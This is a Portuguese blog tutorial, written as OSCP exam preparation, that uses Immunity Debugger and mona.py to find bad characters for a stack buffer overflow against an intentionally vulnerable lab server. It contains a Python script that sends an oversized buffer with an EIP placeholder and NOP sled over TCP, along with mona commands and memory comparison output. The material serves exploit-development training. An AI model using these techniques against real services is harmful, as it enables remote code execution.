Até poucas semanas atrás eu não estava muito interessado em buffer overflows, sabia que é uma parte importante para a certificação da Offensive Security e que não haveria escapatória, mas ao ver os colegas removendo bad chars na mão eu já desanimava – eu não acredito que não há uma maneira mais fácil de fazer isso. E só ouvia Try Harder em resposta.
Mas o que são bad chars?
Bad characters (bad chars para os íntimos) são caracteres inválidos. Um programa pode usar algum caractere como delimitador, algum caractere pode ser filtrado e ignorado ou substituído por outro valor. Isso tornaria um payload usando esses caracteres inútil, portanto encontrar e remover bad chars é crucial.
Ingredientes
Para fazer essa brincadeira eu estou usando uma máquina virtual com Windows XP SP3, uma aplicação alvo que foi desenvolvida pelo Hélvio Júnior intencionalmente com a falha a ser explorada e o manual do mona.py.
[+] Your bribe is insufficient.
Você veio aqui para remover esses caracteres inválidos do seu payload, então pau na jaca – com o Immunity Debugger aberto e o programa alvo devidamente anexado vamos começar configurando o ambiente:
!mona config -set workingfolder c:\monalogs\%p
Usamos este comando para definir a pasta onde os arquivos gerados pelo mona serão armazenados (o tio do pavê que habita em mim gosta de piadas fracas).
Podemos usar o comando abaixo para acalmar a paranóia e verificar que o comando acima funcionou:
!mona config -get workingfolder
Agora precisamos definir a base de comparação então:
!mona bytearray
Acabamos de gerar uma matriz com todos os caracteres de 00 a FF em dois arquivos, um .bin que o mona usará para comparação e um .txt de onde podemos copiar a lista de caracteres e usar em nosso exploit.
O conteúdo do arquivo .txt deve ser similar ao abaixo:
================================================================================ Output generated by mona.py v2.0, rev 583 - Immunity Debugger Corelan Team - https://www.corelan.be ================================================================================ OS : xp, release 5.1.2600 Process being debugged : helvio_server (pid 1680) Current mona arguments: bytearray ================================================================================ 2018-12-07 22:30:23 "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
É importante lembrar que a string do exploit deve ser a mesma existente no arquivo .bin. Qualquer alteração na string do exploit deve refletir no arquivo .bin pois é este arquivo que o mona usará para efetuar a comparação. Também é importante lembrar caracteres que comumente são considerados inválidos (oi null byte?) e também algum outro que esteja sendo usado no exploit, no meu caso new line (n) e return carriage (r). Ou seja, antes de vermos o exploit falhar a primeira vez, já vamos gerar uma nova matriz de caracteres sem os indesejados usando o seguinte comando:
!mona bytearray -cpb "\x00\x0a\x0d"
A pasta com os arquivos gerados foi atualizada…
… e o arquivo bytearray.txt agora tem uma matriz já com 3 bad chars removidos.
================================================================================ Output generated by mona.py v2.0, rev 583 - Immunity Debugger Corelan Team - https://www.corelan.be ================================================================================ OS : xp, release 5.1.2600 Process being debugged : helvio_server (pid 464) Current mona arguments: bytearray -cpb "\x00\x0a\x0d" ================================================================================ 2018-12-13 14:36:33 ================================================================================ "\x01\x02\x03\x04\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x25\x26\x27\x28" "\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48" "\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68" "\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88" "\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8" "\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc6\xc7\xc8\xc9\xca" "\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec" "\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Jogando essa string em nosso exploit e agora temos o seguinte código:
#!/usr/bin/python import sys, socket if len(sys.argv) < 2: print "nUsage: " + sys.argv[0] + " n" sys.exit() bch = ("\x01\x02\x03\x04\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x25\x26\x27\x28" "\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48" "\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68" "\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88" "\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8" "\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc6\xc7\xc8\xc9\xca" "\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec" "\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") buffer = "A" * 452 buffer += "BBBB" buffer += "x90" * 16 buffer += bch buffer += "carcassss" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1], 8888)) print s.recv(1024) print "Sending evil buffer..." s.send(buffer) s.close()
Vamos rodar e ver o que acontece.
ERROR_SUCCESS
Agora precisamos encontrar onde se iniciam os bad chars. Exatamente onde deixei selecionado, na linha em azul.
Podemos identificar o final do lixo jogado no buffer para causar o estouro da pilha, o espaço com “BBBB” que usaremos para o endereço do EIP, o NOP sled e então o conteúdo da nossa matriz de caracteres.
0022FB88 é o endereço que buscamos. Como esse dado em mãos, vamos finalmente fazer a comparação entre a matriz gerada (que está no arquivo .bin e também no exploit que enviamos) e que está em memória.
!mona compare -f C:\monalogs\helvio_server\bytearray.bin -a 0022FB88
Tá e daí? O que eu faça com tudo isso? Bem, vamos nos concentrar nas janelas mona Memory comparison results e Log data.
A primeira nos dá um resumo do que foi encontrado com uma lista de caracteres inválidos detectados.
Já o conteúdo da janela Log data é o mesmo que foi salvo no arquivo compare.txt que agora existe na pasta que definimos como nosso ambiente de trabalho.
| File | Memory | Note --------------------------------------------------------- 0 0 4 4 | 01 02 03 04 | 01 02 03 04 | unmodified! 4 4 2 0 | 05 06 | | missing 6 4 24 24 | 07 ... 20 | 07 ... 20 | unmodified! 30 28 4 2 | 21 22 23 24 | c4 e3 | compacted 34 30 159 159 | 25 ... c3 | 25 ... c3 | unmodified! 193 189 2 0 | c4 c5 | | missing 195 189 29 29 | c6 ... e2 | c6 ... e2 | unmodified! 224 218 2 0 | e3 e4 | | missing 226 218 27 27 | e5 ... ff | e5 ... ff | unmodified! --------------------------------------------------------- Possibly bad chars: 05 06 21 22 23 24 c4 c5 e3 e4 Bytes omitted from input: 00 0a 0d
Se você estiver se sentindo com sorte, sua lista de caracteres inválidos já está pronta. Corre lá pro MSFVenom e abraço pro gaiteiro.
Senão, fica aqui que vamos fazer um refazer a comparação, para isso, mais uma vez vamos criar uma matriz agora removendo todos os caracteres detectados.
Nosso comando deve ser o seguinte:
!mona bytearray -cpb "\x00\x0a\x0d\x05\x06\x21\x22\x23\x24\xc4\xc5\xe3\xe4"
Nossa matriz foi lá para o nosso exploit e já executamos ele mais uma vez.
Os bad chars já estão lá, o endereço é o mesmo, o comando vai ser o mesmo:
!mona compare -f C:\monalogs\helvio_server\bytearray.bin -a 0022FB88
E então é isso pessoal, o conteúdo da memória está sem modificações e confirmamos a lista de bad chars. Se você estiver procurando algum material (em português) para começar com o buffer overflow, o Hélvio também fez um vídeo com uma introdução ao assunto que recomendo fortemente.
1 thought on “Removendo bad chars usando Immunity Debugger e Mona”